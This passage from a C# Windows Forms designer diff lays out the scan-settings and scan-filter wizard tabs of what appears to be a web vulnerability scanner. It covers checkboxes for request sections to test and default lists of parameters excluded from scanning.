System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LoadTemplateLL_LinkClicked); + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(8, 173); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(336, 13); + this.label11.TabIndex = 7; + this.label11.Text = "If you have saved a Scan Configuration template then you can use it: "; + // + // CancelBtn + // + this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.CancelBtn.Location = new System.Drawing.Point(11, 300); + this.CancelBtn.Name = "CancelBtn"; + this.CancelBtn.Size = new System.Drawing.Size(105, 23); + this.CancelBtn.TabIndex = 6; + this.CancelBtn.Text = "Cancel"; + this.CancelBtn.UseVisualStyleBackColor = true; + this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); + // + // StepZeroNextBtn + // + this.StepZeroNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepZeroNextBtn.Location = new System.Drawing.Point(713, 299); + this.StepZeroNextBtn.Name = "StepZeroNextBtn"; + this.StepZeroNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepZeroNextBtn.TabIndex = 5; + this.StepZeroNextBtn.Text = "Next Step ->"; + this.StepZeroNextBtn.UseVisualStyleBackColor = true; + this.StepZeroNextBtn.Click += new System.EventHandler(this.StepZeroNextBtn_Click); + // + // One + // + this.One.Controls.Add(this.Step1StatusTB); + this.One.Controls.Add(this.ScanAllPluginsCB); + this.One.Controls.Add(this.StepOnePreviousBtn); + this.One.Controls.Add(this.StepOneNextBtn); + this.One.Controls.Add(this.label23); + this.One.Controls.Add(this.InjectNamesCB); + this.One.Controls.Add(this.ScanPluginsGrid); + this.One.Controls.Add(this.label24); + this.One.Controls.Add(this.InjectHeadersCB); + this.One.Controls.Add(this.InjectCookieCB); + this.One.Controls.Add(this.InjectBodyCB); + this.One.Controls.Add(this.InjectQueryCB); + this.One.Controls.Add(this.InjectUrlPathPartsCB); + this.One.Location = new System.Drawing.Point(4, 25); + this.One.Name = "One"; + this.One.Size = new System.Drawing.Size(826, 332); + this.One.TabIndex = 2; + this.One.Text = " Scan Settings "; + this.One.UseVisualStyleBackColor = true; + // + // Step1StatusTB + // + this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step1StatusTB.BackColor = System.Drawing.Color.White; + this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step1StatusTB.ForeColor = System.Drawing.Color.Red; + this.Step1StatusTB.Location = new System.Drawing.Point(124, 292); + this.Step1StatusTB.Multiline = true; + this.Step1StatusTB.Name = "Step1StatusTB"; + this.Step1StatusTB.Size = new System.Drawing.Size(577, 32); + this.Step1StatusTB.TabIndex = 145; + this.Step1StatusTB.TabStop = false; + this.Step1StatusTB.Visible = false; + // + // ScanAllPluginsCB + // + this.ScanAllPluginsCB.AutoSize = true; + this.ScanAllPluginsCB.Checked = true; + this.ScanAllPluginsCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ScanAllPluginsCB.Location = new System.Drawing.Point(269, 127); + this.ScanAllPluginsCB.Name = "ScanAllPluginsCB"; + this.ScanAllPluginsCB.Size = new System.Drawing.Size(111, 17); + this.ScanAllPluginsCB.TabIndex = 144; + this.ScanAllPluginsCB.Text = "Enable all Checks"; + this.ScanAllPluginsCB.UseVisualStyleBackColor = true; + this.ScanAllPluginsCB.Click += new System.EventHandler(this.ScanAllPluginsCB_Click); + // + // StepOnePreviousBtn + // + this.StepOnePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepOnePreviousBtn.Location = new System.Drawing.Point(8, 301); + this.StepOnePreviousBtn.Name = "StepOnePreviousBtn"; + this.StepOnePreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepOnePreviousBtn.TabIndex = 143; + this.StepOnePreviousBtn.Text = "<-Previous Step"; + this.StepOnePreviousBtn.UseVisualStyleBackColor = true; + this.StepOnePreviousBtn.Click += new System.EventHandler(this.StepOnePreviousBtn_Click); + // + // StepOneNextBtn + // + this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepOneNextBtn.Location = new System.Drawing.Point(713, 302); + this.StepOneNextBtn.Name = "StepOneNextBtn"; + this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepOneNextBtn.TabIndex = 142; + this.StepOneNextBtn.Text = "Next Step ->"; + this.StepOneNextBtn.UseVisualStyleBackColor = true; + this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); + // + // label23 + // + this.label23.AutoSize = true; + this.label23.Location = new System.Drawing.Point(22, 128); + this.label23.Name = "label23"; + this.label23.Size = new System.Drawing.Size(218, 13); + this.label23.TabIndex = 95; + this.label23.Text = "Which vulnerabilities should be scanned for?"; + // + // InjectNamesCB + // + this.InjectNamesCB.AutoSize = true; + this.InjectNamesCB.Location = new System.Drawing.Point(316, 81); + this.InjectNamesCB.Name = "InjectNamesCB"; + this.InjectNamesCB.Size = new System.Drawing.Size(183, 17); + this.InjectNamesCB.TabIndex = 94; + this.InjectNamesCB.Text = "Parameter Names of Query, Body"; + this.InjectNamesCB.UseVisualStyleBackColor = true; + // + // ScanPluginsGrid + // + this.ScanPluginsGrid.AllowUserToAddRows = false; + this.ScanPluginsGrid.AllowUserToDeleteRows = false; + this.ScanPluginsGrid.AllowUserToResizeRows = false; + this.ScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; + this.ScanPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ScanPluginsGrid.ColumnHeadersVisible = false; + this.ScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn1, + this.dataGridViewTextBoxColumn1}); + this.ScanPluginsGrid.GridColor = System.Drawing.Color.White; + this.ScanPluginsGrid.Location = new System.Drawing.Point(407, 128); + this.ScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanPluginsGrid.Name = "ScanPluginsGrid"; + this.ScanPluginsGrid.ReadOnly = true; + this.ScanPluginsGrid.RowHeadersVisible = false; + this.ScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanPluginsGrid.Size = new System.Drawing.Size(300, 152); + this.ScanPluginsGrid.TabIndex = 93; + this.ScanPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanPluginsGrid_CellClick); + // + // dataGridViewCheckBoxColumn1 + // + this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn1.HeaderText = ""; + this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; + this.dataGridViewCheckBoxColumn1.ReadOnly = true; + this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn1.Width = 20; + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn1.HeaderText = "SCAN PLUGINS"; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + this.dataGridViewTextBoxColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // label24 + // + this.label24.AutoSize = true; + this.label24.Location = new System.Drawing.Point(22, 26); + this.label24.Name = "label24"; + this.label24.Size = new System.Drawing.Size(252, 13); + this.label24.TabIndex = 24; + this.label24.Text = "Which sections of the Request should be scanned?"; + // + // InjectHeadersCB + // + this.InjectHeadersCB.AutoSize = true; + this.InjectHeadersCB.Location = new System.Drawing.Point(537, 26); + this.InjectHeadersCB.Name = "InjectHeadersCB"; + this.InjectHeadersCB.Size = new System.Drawing.Size(66, 17); + this.InjectHeadersCB.TabIndex = 23; + this.InjectHeadersCB.Text = "Headers"; + this.InjectHeadersCB.UseVisualStyleBackColor = true; + this.InjectHeadersCB.CheckedChanged += new System.EventHandler(this.InjectHeadersCB_CheckedChanged); + // + // InjectCookieCB + // + this.InjectCookieCB.AutoSize = true; + this.InjectCookieCB.Location = new System.Drawing.Point(460, 26); + this.InjectCookieCB.Name = "InjectCookieCB"; + this.InjectCookieCB.Size = new System.Drawing.Size(59, 17); + this.InjectCookieCB.TabIndex = 22; + this.InjectCookieCB.Text = "Cookie"; + this.InjectCookieCB.UseVisualStyleBackColor = true; + this.InjectCookieCB.CheckedChanged += new System.EventHandler(this.InjectCookieCB_CheckedChanged); + // + // InjectBodyCB + // + this.InjectBodyCB.AutoSize = true; + this.InjectBodyCB.Checked = true; + this.InjectBodyCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.InjectBodyCB.Location = new System.Drawing.Point(393, 25); + this.InjectBodyCB.Name = "InjectBodyCB"; + this.InjectBodyCB.Size = new System.Drawing.Size(50, 17); + this.InjectBodyCB.TabIndex = 21; + this.InjectBodyCB.Text = "Body"; + this.InjectBodyCB.UseVisualStyleBackColor = true; + this.InjectBodyCB.CheckedChanged += new System.EventHandler(this.InjectBodyCB_CheckedChanged); + // + // InjectQueryCB + // + this.InjectQueryCB.AutoSize = true; + this.InjectQueryCB.Checked = true; + this.InjectQueryCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.InjectQueryCB.Location = new System.Drawing.Point(316, 25); + this.InjectQueryCB.Name = "InjectQueryCB"; + this.InjectQueryCB.Size = new System.Drawing.Size(54, 17); + this.InjectQueryCB.TabIndex = 20; + this.InjectQueryCB.Text = "Query"; + this.InjectQueryCB.UseVisualStyleBackColor = true; + this.InjectQueryCB.CheckedChanged += new System.EventHandler(this.InjectQueryCB_CheckedChanged); + // + // InjectUrlPathPartsCB + // + this.InjectUrlPathPartsCB.AutoSize = true; + this.InjectUrlPathPartsCB.Checked = true; + this.InjectUrlPathPartsCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.InjectUrlPathPartsCB.Location = new System.Drawing.Point(316, 53); + this.InjectUrlPathPartsCB.Name = "InjectUrlPathPartsCB"; + this.InjectUrlPathPartsCB.Size = new System.Drawing.Size(349, 17); + this.InjectUrlPathPartsCB.TabIndex = 19; + this.InjectUrlPathPartsCB.Text = "Url Path Parts (only when Query string is blank, to cover Url-rewriting)"; + this.InjectUrlPathPartsCB.UseVisualStyleBackColor = true; + // + // Two + // + this.Two.Controls.Add(this.Step2StatusTB); + this.Two.Controls.Add(this.label25); + this.Two.Controls.Add(this.label26); + this.Two.Controls.Add(this.StepTwoPreviousBtn); + this.Two.Controls.Add(this.StepTwoNextBtn); + this.Two.Controls.Add(this.groupBox6); + this.Two.Controls.Add(this.groupBox7); + this.Two.Controls.Add(this.groupBox8); + this.Two.Controls.Add(this.groupBox9); + this.Two.Location = new System.Drawing.Point(4, 25); + this.Two.Name = "Two"; + this.Two.Size = new System.Drawing.Size(826, 332); + this.Two.TabIndex = 5; + this.Two.Text = " Scan Filter "; + this.Two.UseVisualStyleBackColor = true; + // + // Step2StatusTB + // + this.Step2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step2StatusTB.BackColor = System.Drawing.Color.White; + this.Step2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step2StatusTB.ForeColor = System.Drawing.Color.Red; + this.Step2StatusTB.Location = new System.Drawing.Point(131, 302); + this.Step2StatusTB.Multiline = true; + this.Step2StatusTB.Name = "Step2StatusTB"; + this.Step2StatusTB.Size = new System.Drawing.Size(577, 23); + this.Step2StatusTB.TabIndex = 148; + this.Step2StatusTB.TabStop = false; + this.Step2StatusTB.Visible = false; + // + // label25 + // + this.label25.AutoSize = true; + this.label25.Location = new System.Drawing.Point(7, 30); + this.label25.Name = "label25"; + this.label25.Size = new System.Drawing.Size(561, 13); + this.label25.TabIndex = 147; + this.label25.Text = "Check the box at the beginning to enable the list. Use + and - options to toggle " + + "between white-list and black-list mode."; + // + // label26 + // + this.label26.AutoSize = true; + this.label26.Location = new System.Drawing.Point(7, 10); + this.label26.Name = "label26"; + this.label26.Size = new System.Drawing.Size(436, 13); + this.label26.TabIndex = 146; + this.label26.Text = "You can set a black-list or white-list to include or exclude request parameters f" + + "rom the scan."; + // + // StepTwoPreviousBtn + // + this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepTwoPreviousBtn.Location = new System.Drawing.Point(8, 302); + this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; + this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepTwoPreviousBtn.TabIndex = 145; + this.StepTwoPreviousBtn.Text = "<-Previous Step"; + this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; + this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); + // + // StepTwoNextBtn + // + this.StepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepTwoNextBtn.Location = new System.Drawing.Point(714, 302); + this.StepTwoNextBtn.Name = "StepTwoNextBtn"; + this.StepTwoNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepTwoNextBtn.TabIndex = 144; + this.StepTwoNextBtn.Text = "Next Step ->"; + this.StepTwoNextBtn.UseVisualStyleBackColor = true; + this.StepTwoNextBtn.Click += new System.EventHandler(this.StepTwoNextBtn_Click); + // + // groupBox6 + // + this.groupBox6.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox6.Controls.Add(this.HeadersParametersFilterCB); + this.groupBox6.Controls.Add(this.HeadersParametersPlusTB); + this.groupBox6.Controls.Add(this.HeadersParametersMinusTB); + this.groupBox6.Controls.Add(this.HeadersParametersPlusRB); + this.groupBox6.Controls.Add(this.HeadersParametersMinusRB); + this.groupBox6.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox6.Location = new System.Drawing.Point(10, 240); + this.groupBox6.Margin = new System.Windows.Forms.Padding(0); + this.groupBox6.Name = "groupBox6"; + this.groupBox6.Size = new System.Drawing.Size(800, 52); + this.groupBox6.TabIndex = 95; + this.groupBox6.TabStop = false; + // + // HeadersParametersFilterCB + // + this.HeadersParametersFilterCB.AutoSize = true; + this.HeadersParametersFilterCB.Enabled = false; + this.HeadersParametersFilterCB.Location = new System.Drawing.Point(8, 20); + this.HeadersParametersFilterCB.Name = "HeadersParametersFilterCB"; + this.HeadersParametersFilterCB.Size = new System.Drawing.Size(203, 17); + this.HeadersParametersFilterCB.TabIndex = 59; + this.HeadersParametersFilterCB.Text = "Don\'t scan these Header Parameters:"; + this.HeadersParametersFilterCB.UseVisualStyleBackColor = true; + this.HeadersParametersFilterCB.CheckedChanged += new System.EventHandler(this.HeadersParametersFilterCB_CheckedChanged); + // + // HeadersParametersPlusTB + // + this.HeadersParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.HeadersParametersPlusTB.Enabled = false; + this.HeadersParametersPlusTB.Location = new System.Drawing.Point(255, 8); + this.HeadersParametersPlusTB.Name = "HeadersParametersPlusTB"; + this.HeadersParametersPlusTB.Size = new System.Drawing.Size(539, 20); + this.HeadersParametersPlusTB.TabIndex = 51; + // + // HeadersParametersMinusTB + // + this.HeadersParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.HeadersParametersMinusTB.Enabled = false; + this.HeadersParametersMinusTB.Location = new System.Drawing.Point(255, 29); + this.HeadersParametersMinusTB.Name = "HeadersParametersMinusTB"; + this.HeadersParametersMinusTB.Size = new System.Drawing.Size(539, 20); + this.HeadersParametersMinusTB.TabIndex = 52; + this.HeadersParametersMinusTB.Text = "Proxy-Connection, User-Agent, Accept, Referer, Accept-Encoding, Accept-Language, " + + "Accept-Charset, Content-Type, Content-Length, If-Modified-Since, Pragma"; + // + // HeadersParametersPlusRB + // + this.HeadersParametersPlusRB.AutoSize = true; + this.HeadersParametersPlusRB.Enabled = false; + this.HeadersParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HeadersParametersPlusRB.Location = new System.Drawing.Point(215, 10); + this.HeadersParametersPlusRB.Name = "HeadersParametersPlusRB"; + this.HeadersParametersPlusRB.Size = new System.Drawing.Size(34, 20); + this.HeadersParametersPlusRB.TabIndex = 57; + this.HeadersParametersPlusRB.Text = "+"; + this.HeadersParametersPlusRB.UseVisualStyleBackColor = true; + this.HeadersParametersPlusRB.CheckedChanged += new System.EventHandler(this.HeadersParametersPlusRB_CheckedChanged); + // + // HeadersParametersMinusRB + // + this.HeadersParametersMinusRB.AutoSize = true; + this.HeadersParametersMinusRB.Checked = true; + this.HeadersParametersMinusRB.Enabled = false; + this.HeadersParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HeadersParametersMinusRB.Location = new System.Drawing.Point(215, 29); + this.HeadersParametersMinusRB.Name = "HeadersParametersMinusRB"; + this.HeadersParametersMinusRB.Size = new System.Drawing.Size(31, 20); + this.HeadersParametersMinusRB.TabIndex = 58; + this.HeadersParametersMinusRB.TabStop = true; + this.HeadersParametersMinusRB.Text = "-"; + this.HeadersParametersMinusRB.UseVisualStyleBackColor = true; + this.HeadersParametersMinusRB.CheckedChanged += new System.EventHandler(this.HeadersParametersMinusRB_CheckedChanged); + // + // groupBox7 + // + this.groupBox7.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox7.Controls.Add(this.QueryParametersFilterCB); + this.groupBox7.Controls.Add(this.QueryParametersPlusTB); + this.groupBox7.Controls.Add(this.QueryParametersMinusTB); + this.groupBox7.Controls.Add(this.QueryParametersPlusRB); + this.groupBox7.Controls.Add(this.QueryParametersMinusRB); + this.groupBox7.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox7.Location = new System.Drawing.Point(10, 64); + this.groupBox7.Margin = new System.Windows.Forms.Padding(0); + this.groupBox7.Name = "groupBox7"; + this.groupBox7.Size = new System.Drawing.Size(800, 52); + this.groupBox7.TabIndex = 92; + this.groupBox7.TabStop = false; + // + // QueryParametersFilterCB + // + this.QueryParametersFilterCB.AutoSize = true; + this.QueryParametersFilterCB.Enabled = false; + this.QueryParametersFilterCB.Location = new System.Drawing.Point(8, 20); + this.QueryParametersFilterCB.Name = "QueryParametersFilterCB"; + this.QueryParametersFilterCB.Size = new System.Drawing.Size(196, 17); + this.QueryParametersFilterCB.TabIndex = 59; + this.QueryParametersFilterCB.Text = "Don\'t scan these Query Parameters:"; + this.QueryParametersFilterCB.UseVisualStyleBackColor = true; + this.QueryParametersFilterCB.CheckedChanged += new System.EventHandler(this.QueryParametersFilterCB_CheckedChanged); + // + // QueryParametersPlusTB + // + this.QueryParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.QueryParametersPlusTB.Enabled = false; + this.QueryParametersPlusTB.Location = new System.Drawing.Point(255, 8); + this.QueryParametersPlusTB.Name = "QueryParametersPlusTB"; + this.QueryParametersPlusTB.Size = new System.Drawing.Size(539, 20); + this.QueryParametersPlusTB.TabIndex = 51; + // + // QueryParametersMinusTB + // + this.QueryParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.QueryParametersMinusTB.Enabled = false; + this.QueryParametersMinusTB.Location = new System.Drawing.Point(255, 29); + this.QueryParametersMinusTB.Name = "QueryParametersMinusTB"; + this.QueryParametersMinusTB.Size = new System.Drawing.Size(539, 20); + this.QueryParametersMinusTB.TabIndex = 52; + // + // QueryParametersPlusRB + // + this.QueryParametersPlusRB.AutoSize = true; + this.QueryParametersPlusRB.Enabled = false; + this.QueryParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.QueryParametersPlusRB.Location = new System.Drawing.Point(215, 9); + this.QueryParametersPlusRB.Name = "QueryParametersPlusRB"; + this.QueryParametersPlusRB.Size = new System.Drawing.Size(34, 20); + this.QueryParametersPlusRB.TabIndex = 57; + this.QueryParametersPlusRB.Text = "+"; + this.QueryParametersPlusRB.UseVisualStyleBackColor = true; + this.QueryParametersPlusRB.CheckedChanged += new System.EventHandler(this.QueryParametersPlusRB_CheckedChanged); + // + // QueryParametersMinusRB + // + this.QueryParametersMinusRB.AutoSize = true; + this.QueryParametersMinusRB.Checked = true; + this.QueryParametersMinusRB.Enabled = false; + this.QueryParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.QueryParametersMinusRB.Location = new System.Drawing.Point(215, 28); + this.QueryParametersMinusRB.Name = "QueryParametersMinusRB"; + this.QueryParametersMinusRB.Size = new System.Drawing.Size(31, 20); + this.QueryParametersMinusRB.TabIndex = 58; + this.QueryParametersMinusRB.TabStop = true; + this.QueryParametersMinusRB.Text = "-"; + this.QueryParametersMinusRB.UseVisualStyleBackColor = true; + this.QueryParametersMinusRB.CheckedChanged += new System.EventHandler(this.QueryParametersMinusRB_CheckedChanged); + // + // groupBox8 + // + this.groupBox8.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox8.Controls.Add(this.BodyParametersFilterCB); + this.groupBox8.Controls.Add(this.BodyParametersPlusTB); + this.groupBox8.Controls.Add(this.BodyParametersMinusTB); + this.groupBox8.Controls.Add(this.BodyParametersPlusRB); + this.groupBox8.Controls.Add(this.BodyParametersMinusRB); + this.groupBox8.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox8.Location = new System.Drawing.Point(10, 125); + this.groupBox8.Margin = new System.Windows.Forms.Padding(0); + this.groupBox8.Name = "groupBox8"; + this.groupBox8.Size = new System.Drawing.Size(800, 52); + this.groupBox8.TabIndex = 93; + this.groupBox8.TabStop = false; + // + // BodyParametersFilterCB + // + this.BodyParametersFilterCB.AutoSize = true; + this.BodyParametersFilterCB.Enabled = false; + this.BodyParametersFilterCB.Location = new System.Drawing.Point(8, 20); + this.BodyParametersFilterCB.Name = "BodyParametersFilterCB"; + this.BodyParametersFilterCB.Size = new System.Drawing.Size(192, 17); + this.BodyParametersFilterCB.TabIndex = 59; + this.BodyParametersFilterCB.Text = "Don\'t scan these Body Parameters:"; + this.BodyParametersFilterCB.UseVisualStyleBackColor = true; + this.BodyParametersFilterCB.CheckedChanged += new System.EventHandler(this.BodyParametersFilterCB_CheckedChanged); + // + // BodyParametersPlusTB + // + this.BodyParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.BodyParametersPlusTB.Enabled = false; + this.BodyParametersPlusTB.Location = new System.Drawing.Point(255, 8); + this.BodyParametersPlusTB.Name = "BodyParametersPlusTB"; + this.BodyParametersPlusTB.Size = new System.Drawing.Size(539, 20); + this.BodyParametersPlusTB.TabIndex = 51; + // + // BodyParametersMinusTB + // + this.BodyParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.BodyParametersMinusTB.Enabled = false; + this.BodyParametersMinusTB.Location = new System.Drawing.Point(255, 29); + this.BodyParametersMinusTB.Name = "BodyParametersMinusTB"; + this.BodyParametersMinusTB.Size = new System.Drawing.Size(539, 20); + this.BodyParametersMinusTB.TabIndex = 52; + this.BodyParametersMinusTB.Text = "__VIEWSTATE, javax.faces.ViewState"; + // + // BodyParametersPlusRB + // + this.BodyParametersPlusRB.AutoSize = true; + this.BodyParametersPlusRB.Enabled = false; + this.BodyParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.BodyParametersPlusRB.Location = new System.Drawing.Point(215, 8); + this.BodyParametersPlusRB.Name = "BodyParametersPlusRB"; + this.BodyParametersPlusRB.Size = new System.Drawing.Size(34, 20); + this.BodyParametersPlusRB.TabIndex = 57; + this.BodyParametersPlusRB.Text = "+"; + this.BodyParametersPlusRB.UseVisualStyleBackColor = true; + this.BodyParametersPlusRB.CheckedChanged += new System.EventHandler(this.BodyParametersPlusRB_CheckedChanged); + // + // BodyParametersMinusRB + // + this.BodyParametersMinusRB.AutoSize = true; + this.BodyParametersMinusRB.Checked = true; + this.BodyParametersMinusRB.Enabled = false; + this.BodyParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.BodyParametersMinusRB.Location = new System.Drawing.Point(215, 27); + this.BodyParametersMinusRB.Name = "BodyParametersMinusRB"; + this.BodyParametersMinusRB.Size = new System.Drawing.Size(31, 20); + this.BodyParametersMinusRB.TabIndex = 58; + this.BodyParametersMinusRB.TabStop = true; + this.BodyParametersMinusRB.Text = "-"; + this.BodyParametersMinusRB.UseVisualStyleBackColor = true; + this.BodyParametersMinusRB.CheckedChanged += new System.EventHandler(this.BodyParametersMinusRB_CheckedChanged); + // + // groupBox9 + // + this.groupBox9.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox9.Controls.Add(this.CookieParametersFilterCB); + this.groupBox9.Controls.Add(this.CookieParametersPlusTB); + this.groupBox9.Controls.Add(this.CookieParametersMinusTB); + this.groupBox9.Controls.Add(this.CookieParametersPlusRB); + this.groupBox9.Controls.Add(this.CookieParametersMinusRB); + this.groupBox9.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox9.Location = new System.Drawing.Point(10, 184); + this.groupBox9.Margin = new System.Windows.Forms.Padding(0); + this.groupBox9.Name = "groupBox9"; + this.groupBox9.Size = new System.Drawing.Size(800, 52); + this.groupBox9.TabIndex = 94; + this.groupBox9.TabStop = false; + // + // CookieParametersFilterCB + // + this.CookieParametersFilterCB.AutoSize = true; + this.CookieParametersFilterCB.Enabled = false; + this.CookieParametersFilterCB.Location = new System.Drawing.Point(8, 20); + this.CookieParametersFilterCB.Name = "CookieParametersFilterCB"; + this.CookieParametersFilterCB.Size = new System.Drawing.Size(201, 17); + this.CookieParametersFilterCB.TabIndex = 59; + this.CookieParametersFilterCB.Text = "Don\'t scan these Cookie Parameters:"; + this.CookieParametersFilterCB.UseVisualStyleBackColor = true; + this.CookieParametersFilterCB.CheckedChanged += new System.EventHandler(this.CookieParametersFilterCB_CheckedChanged); + // + // CookieParametersPlusTB + // + this.CookieParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CookieParametersPlusTB.Enabled = false; + this.CookieParametersPlusTB.Location = new System.Drawing.Point(255, 8); + this.CookieParametersPlusTB.Name = "CookieParametersPlusTB"; + this.CookieParametersPlusTB.Size = new System.Drawing.Size(542, 20); + this.CookieParametersPlusTB.TabIndex = 51; + // + // CookieParametersMinusTB + // + this.CookieParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CookieParametersMinusTB.Enabled = false; + this.CookieParametersMinusTB.Location = new 